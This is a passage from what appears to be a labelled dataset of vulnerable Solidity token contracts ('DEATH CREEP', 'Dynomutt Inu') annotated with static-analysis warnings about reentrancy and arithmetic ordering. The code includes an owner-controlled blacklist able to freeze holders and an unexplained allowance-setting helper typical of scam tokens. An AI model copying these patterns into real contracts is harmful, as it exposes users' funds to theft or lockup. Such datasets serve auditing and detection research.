}\n}\n",
"file_name": "solidity_code_10159.sol",
"size_bytes": 20322,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eefb3d0): DEATH.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for eefb3d0: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7d14ee4): DEATH.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 7d14ee4: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c929192): DEATH.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for c929192: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d032a78): DEATH.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for d032a78: Consider ordering multiplication before division.\ncontract DEATH is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 651999c): DEATH._taxWallet should be immutable \n\t// Recommendation for 651999c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3c7e0d): DEATH._initialBuyTax should be constant \n\t// Recommendation for a3c7e0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: d08c9d4): DEATH._initialSellTax should be constant \n\t// Recommendation for d08c9d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfca628): DEATH._finalBuyTax should be constant \n\t// Recommendation for dfca628: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4602b6c): DEATH._finalSellTax should be constant \n\t// Recommendation for 4602b6c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 996309c): DEATH._reduceBuyTaxAt should be constant \n\t// Recommendation for 996309c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4dfbdee): DEATH._reduceSellTaxAt should be constant \n\t// Recommendation for 4dfbdee: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87a9130): DEATH._preventSwapBefore should be constant \n\t// Recommendation for 87a9130: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"DEATH CREEP\";\n\n string private constant _symbol = unicode\"DEATH\";\n\n\t// divide-before-multiply | ID: 7d14ee4\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: c929192\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 850abdd): DEATH._taxSwapThreshold should be constant \n\t// Recommendation for 850abdd: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d032a78\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e19abfd): DEATH._maxTaxSwap should be constant \n\t// Recommendation for e19abfd: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: eefb3d0\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x72C57f2875EB651221eB828baFA2cD5d4414bc8f);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f984bef): DEATH.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f984bef: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3db1f6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3db1f6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8390ed3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8390ed3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3db1f6d\n\t\t// reentrancy-benign | ID: 8390ed3\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3db1f6d\n\t\t// reentrancy-benign | ID: 8390ed3\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1534c29): DEATH._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1534c29: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8390ed3\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3db1f6d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a0bb92f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a0bb92f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 05ecef0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 05ecef0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 10, \"Only 10 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a0bb92f\n\t\t\t\t// reentrancy-eth | ID: 05ecef0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a0bb92f\n\t\t\t\t\t// reentrancy-eth | ID: 05ecef0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 05ecef0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 05ecef0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 05ecef0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a0bb92f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 05ecef0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 05ecef0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a0bb92f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a0bb92f\n\t\t// reentrancy-events | ID: 3db1f6d\n\t\t// reentrancy-benign | ID: 8390ed3\n\t\t// reentrancy-eth | ID: 05ecef0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a0bb92f\n\t\t// reentrancy-events | ID: 3db1f6d\n\t\t// reentrancy-eth | ID: 05ecef0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ece5b6a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ece5b6a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1969efe): DEATH.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1969efe: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce7eeda): DEATH.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ce7eeda: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 98048a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 98048a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: ece5b6a\n\t\t// reentrancy-eth | ID: 98048a2\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: ece5b6a\n\t\t// unused-return | ID: 1969efe\n\t\t// reentrancy-eth | ID: 98048a2\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ece5b6a\n\t\t// unused-return | ID: ce7eeda\n\t\t// reentrancy-eth | ID: 98048a2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: ece5b6a\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 98048a2\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1016.sol",
"size_bytes": 21524,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Dynomutt is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d70e9cd): Dynomutt._taxWallet should be immutable \n\t// Recommendation for d70e9cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1471668): Dynomutt._initialBuyTax should be constant \n\t// Recommendation for 1471668: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 212e961): Dynomutt._initialSellTax should be constant \n\t// Recommendation for 212e961: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c85c98): Dynomutt._finalBuyTax should be constant \n\t// Recommendation for 3c85c98: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc62f23): Dynomutt._finalSellTax should be constant \n\t// Recommendation for fc62f23: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30d4c12): Dynomutt._reduceBuyTaxAt should be constant \n\t// Recommendation for 30d4c12: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6c23fe): Dynomutt._reduceSellTaxAt should be constant \n\t// Recommendation for a6c23fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f288a5e): Dynomutt._preventSwapBefore should be constant \n\t// Recommendation for f288a5e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _buyCount = 0;\n\n string private constant _name = unicode\"Dynomutt Inu\";\n\n string private constant _symbol = unicode\"Dynomutt\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 374390b): Dynomutt._taxSwapThreshold should be constant \n\t// Recommendation for 374390b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 575ca7c): Dynomutt._maxTaxSwap should be constant \n\t// Recommendation for 575ca7c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct CoinRate {\n uint256 launchRate;\n uint256 rateUid;\n uint256 rateAgv;\n }\n\n mapping(address => CoinRate) private coinRate;\n\n uint256 private initialCoinRate = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xF90Cc838564aCa5cb4F512C93E5454EC88143390);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[_taxWallet] = true;\n\n _isExempt[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8283303): Dynomutt.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8283303: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 15f5f78): Dynomutt._manualSend(address,string,uint8,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 15f5f78: Rename the local variables that shadow another component.\n function _manualSend(\n address owner,\n string memory exportAmount,\n uint8 percentage,\n address spender\n ) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = _maxTxAmount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 959212e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 959212e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5717a0c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5717a0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 959212e\n\t\t// reentrancy-benign | ID: 5717a0c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 959212e\n\t\t// reentrancy-benign | ID: 5717a0c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2b9e930): Dynomutt._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2b9e930: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5717a0c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 959212e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 37bdf19): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 37bdf19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 54f5789): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 54f5789: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8da32cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8da32cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > 